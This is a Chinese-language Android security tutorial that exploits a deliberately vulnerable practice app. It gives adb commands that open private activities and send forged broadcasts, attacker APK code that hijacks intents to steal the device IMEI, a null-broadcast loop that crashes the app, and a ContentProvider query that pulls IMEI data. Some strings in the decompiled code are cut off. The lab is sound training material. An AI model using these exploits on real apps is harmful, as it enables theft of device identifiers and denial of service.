NOTE

Android安全之组件安全

Android 安全之组件安全

1. 暴露Activity组件

漏洞利用的目的:

通过当前已经暴露的组件跳转访问到私有组件界面。

漏洞利用过程:

根据反编译可以看出,触发通过的条件是传入值为1的int变量key和值为“hello”的String变量value。

private void a() {
    Intent intent = getIntent();
    if (intent != null) {
        int i = intent.getIntExtra("key", 0);
        String str = intent.getStringExtra("value");
        if (i == 1 && "hello".equals(str))
            dosomething(); 
    } 
}
private void dosomething() {
    startActivity(new Intent((Context)this, NoExportActivity.class));
}

由此,利用adb命令访问activity组件:

adb shell am start -n com.example.bughunter/com.example.bughunter.ComponentSecurity.ExportActivity --ei key 1 -e value "hello"

利用start访问activity组件,其中“-n”后面是“包名/类名”,“–ei”表示传入int类型值,“-e”表示传入String值。由此,即可进入私有隐藏界面。

1

2. 暴露Service组件

漏洞利用的目的:

成功访问暴露的Service。

漏洞利用过程:

根据反编译可以看出,触发通过的条件是传入值action为”exportService”。

public int onStartCommand(Intent paramIntent, int paramInt1, int paramInt2) {
  try {
    if (paramIntent.getAction().equals("exportService")) {
      Toast.makeText((Context)this, ", 0).show();
    } else {
      Toast.makeText((Context)this, ", 0).show();
    } 
  } catch (Exception exception) {
    Toast.makeText((Context)this, ", 0).show();
  } 
  return super.onStartCommand(paramIntent, paramInt1, paramInt2);
}

由此,利用adb命令访问service组件:

adb shell am startservice -n com.example.bughunter/com.example.bughunter.ComponentSecurity.ExportService -a "exportService"

利用startservice访问service组件,其中“-n”后面是“包名/类名”,“-a”表示传入的action。由此,即可成功运行暴露的Service。

2

3. 暴露Broadcast组件

漏洞利用的目的:

访问暴露的广播组件。通过传参访问广播组件并发送自定义内容的广播。

漏洞利用过程:

根据反编译可以看出,触发通过的条件是传入值action为”broadcast”。传入标题为“title”,传入内容为“content”。

private void sendNotification(String paramString1, String paramString2, Context paramContext) {
  if (Build.VERSION.SDK_INT >= 26)
    createNotificationChannel("channelId", ", 4); 
  NotificationCompat.Builder builder = new NotificationCompat.Builder(paramContext, "channelId");
  builder.setSmallIcon(2131361792);
  builder.setContentTitle(paramString1);
  builder.setContentText(paramString2);
  Notification notification = builder.build();
  this.mManager.notify(1, notification);
  Toast.makeText(paramContext, ", 0).show();
}
public void onReceive(Context paramContext, Intent paramIntent) {
  if ("broadcast".equals(paramIntent.getAction())) {
    this.mManager = (NotificationManager)paramContext.getSystemService("notification");
    try {
      sendNotification(paramIntent.getStringExtra("title"), paramIntent.getStringExtra("content"), paramContext);
    } catch (Exception exception) {}
  } else {
    Toast.makeText((Context)exception, ", 0).show();
  } 
}

由此,利用adb命令访问broadcast组件:

adb shell am broadcast -n com.example.bughunter/com.example.bughunter.ComponentSecurity.ExportReceiver -a "broadcast" -e "title" "Success" -e "content" "Successfully_delivered!"

利用broadcast访问broadcast组件,其中“-n”后面是“包名/类名”,“-a”表示传入的action“broadcast”,“-e”后的“title”和“content”表示自定义的下拉内容。由此,即可成功通过传参访问广播组件并发送自定义内容的广播。

3

4. 组件劫持

漏洞利用的目的:

劫持带有个人数据(此处为IMEI码)私有组件,获取个人数据。

漏洞利用过程:

根据反编译可以看出,私有组件启动intent的方式是以指定action的方式,action为“hijack”。

private void a() {
    String str = GetInformation.getImei((Context)this);
    Intent intent = new Intent("hijack");
    intent.putExtra("imei", str);
    startActivity(intent);
}

由此,编写了一个APK,声明同样名字的action的暴露组件。当点击运行带参跳转的私有组件时,即可触发同样名字action的暴露组件,获得私有隐私数据IMEI码。

APK编写的过程是:

  • 设置intent-filter使得action为“hijack”的intent可以通过过滤。
<intent-filter>
    <action android:name="android.intent.action.MAIN" />
    <category android:name="android.intent.category.LAUNCHER" />
    <action android:name="hijack" />
    <category android:name="android.intent.category.DEFAULT" />
</intent-filter>
  • 创建筛选出符合过滤器要求的intent的函数isActionSupport。当筛选符合过滤器要求的intent以后,获取intent,选择action为“hijack”的intent,获取名叫“imei”的String,利用Toast弹出“imei”的值。
public void onStart() &#123;
    super.onStart();
    hijackSetting(this);
&#125;
private void hijackSetting(Context context)&#123;
    if(isActionSupport(context,"hijack")) &#123;
        Intent intent2=getIntent();
        if(Objects.equals(intent2.getAction(), "hijack")) &#123;
            String msg = intent2.getStringExtra("imei");
            Toast.makeText(this, msg, Toast.LENGTH_LONG).show();
        &#125;
    &#125;
&#125;
private boolean isActionSupport(Context context, String action)&#123;
    final PackageManager packageManager = context.getPackageManager();
    final Intent intent = new Intent(action);
    List<ResolveInfo> resolveInfo =
        packageManager.queryIntentActivities(intent,
                                             PackageManager.MATCH_DEFAULT_ONLY);
    return resolveInfo.size() > 0;
&#125;
4

5. 动态注册广播

漏洞利用的目的:

当前组件发送一个动态广播,对此实现获取个人数据、使组件崩溃和日志泄露。

漏洞利用过程:

根据反编译可以看出,组件发送广播和接收广播的过程,其中传递的私有数据为“imei”,action为“broadcast”。

private void initView() &#123;
    this.b1 = (Button)findViewById(2131165238);
    this.b1.setOnClickListener(new View.OnClickListener() &#123;
        public void onClick(View param1View) &#123;
            String str = GetInformation.getImei((Context)DynamicBroadcastActivity.this);
            Intent intent = new Intent("broadcast");
            intent.putExtra("imei", str);
            DynamicBroadcastActivity.this.sendBroadcast(intent);
        &#125;
    &#125;);
    this.t1 = (TextView)findViewById(2131165380);
    this.t1.setOnClickListener(new View.OnClickListener() &#123;
        public void onClick(View param1View) &#123;
            DynamicBroadcastActivity.this.t1.setText(2131427375);
        &#125;
    &#125;);
&#125;

public class MyBroadcast extends BroadcastReceiver &#123;
    public void onReceive(Context param1Context, Intent param1Intent) &#123;
        Toast.makeText((Context)DynamicBroadcastActivity.this, ", 0).show();
        Log.i("bughunter", param1Intent.getStringExtra("imei"));
    &#125;
&#125;

创建通过接收广播获取私有数据的函数并执行。

public class MyBroadcast extends BroadcastReceiver &#123;
    @SuppressLint(&#123;"WrongConstant", "ShowToast"&#125;)
    public void onReceive(Context param1Context, Intent param1Intent) &#123;
        Toast.makeText(MainActivity.this, "get it", 0).show();
        Log.i("bughunter", Objects.requireNonNull(param1Intent.getStringExtra("imei")));
    &#125;
&#125;
private void registBroad() &#123;
    registerReceiver(new MyBroadcast(), new IntentFilter("broadcast"));
&#125;
@Override
protected void onCreate(Bundle savedInstanceState) &#123;
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);
    registBroad();
    //send_null();
&#125;

点击bug hunter的发送广播按钮,即可收到私有数据“imei”码。

5

创建发送空数据广播的函数send_null如下。

private void send_null() &#123;
    while(true)&#123;
        Intent intent = new Intent("broadcast");
        MainActivity.this.sendBroadcast(intent);
    &#125;
&#125;
@Override
protected void onCreate(Bundle savedInstanceState) &#123;
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);
    //registBroad();
    send_null();
&#125;

由于bug hunter一直保持接收广播的状态,一运行发送空广播的函数,即可看到bug hunter停止运行crash。

6

由于未注销广播可以导致intent泄露,反复打开当前界面,利用adb的logcat命令

adb logcat | grep -E *leak* > 2.txt

可以获取当前的含有leak的泄露日志,如下图所示。

7

6. Provider组件暴露

漏洞利用的目的:

获取当前组件写入暴露provider组件的个人数据。

漏洞利用过程:

根据反编译可以看出,provider处理的query操作。

public Cursor query(Uri paramUri, String[] paramArrayOfString1, String paramString1, String[] paramArrayOfString2, String paramString2) &#123;
    SQLiteDatabase sQLiteDatabase = this.myDbHelper.getReadableDatabase();
    if (MATCHER.match(paramUri) == 1)
        return sQLiteDatabase.query("info", paramArrayOfString1, paramString1, paramArrayOfString2, null, null, paramString2); 
    StringBuilder stringBuilder = new StringBuilder();
    stringBuilder.append("Unkwon Uri:");
    stringBuilder.append(paramUri.toString());
    throw new IllegalArgumentException(stringBuilder.toString());
&#125;

又根据反编译的代码获得URI和目录。

MATCHER.addURI("com.example.bughunter.ComponentSecurity.ExportProvider", "info", 1);

由此编写获取数据库个人数据的代码。

public class MainActivity extends AppCompatActivity &#123;

    @Override
    protected void onCreate(Bundle savedInstanceState) &#123;
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        while(true)&#123;
            get_Imei();
        &#125;
    &#125;

    private void get_Imei() &#123;
        ContentResolver contentResolver = getContentResolver();
        Cursor cursor = contentResolver.query(Uri.parse("content://com.example.bughunter.ComponentSecurity.ExportProvider/info"),
                                              new String[]&#123;"imei"&#125;, null, null, null);
        if (cursor != null) &#123;
            while(cursor.moveToNext())&#123;
                String a = cursor.getString(0);
                System.out.println("imei="+a);
            &#125;
        &#125;
    &#125;
&#125;

运行代码,即可在系统输出中看到“imei”。

8

7. 附加知识

  • 查询手机imei码的方法,拨号输入*#06#,即可看到本机imei码。
9